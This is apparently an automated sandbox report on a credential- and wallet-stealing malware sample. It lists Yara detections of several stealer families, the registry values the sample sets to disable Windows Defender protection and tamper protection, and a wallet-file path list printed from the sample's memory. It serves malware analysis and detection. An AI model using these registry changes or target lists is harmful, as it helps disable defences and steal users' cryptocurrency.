Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C65A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A8390 NSS_GetVersion,

0_2_6C5A8390

Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 32eab1d1d8.exe, 0000001C.00000003.3058419874.0000000001003000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3040581920.0000000001003000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3013769659.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3108044839.0000000001005000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.DocumentsJKEGIDGDGH.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2221067323.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2178949689.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2167459795.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2179088496.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2126808040.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: 0000001F.00000003.2895024923.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 32eab1d1d8.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.2908507137.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2839662305.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2892004269.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2984266147.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2127237618.0000000000201000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3144520267.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2128255409.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3122292827.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1691787671.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
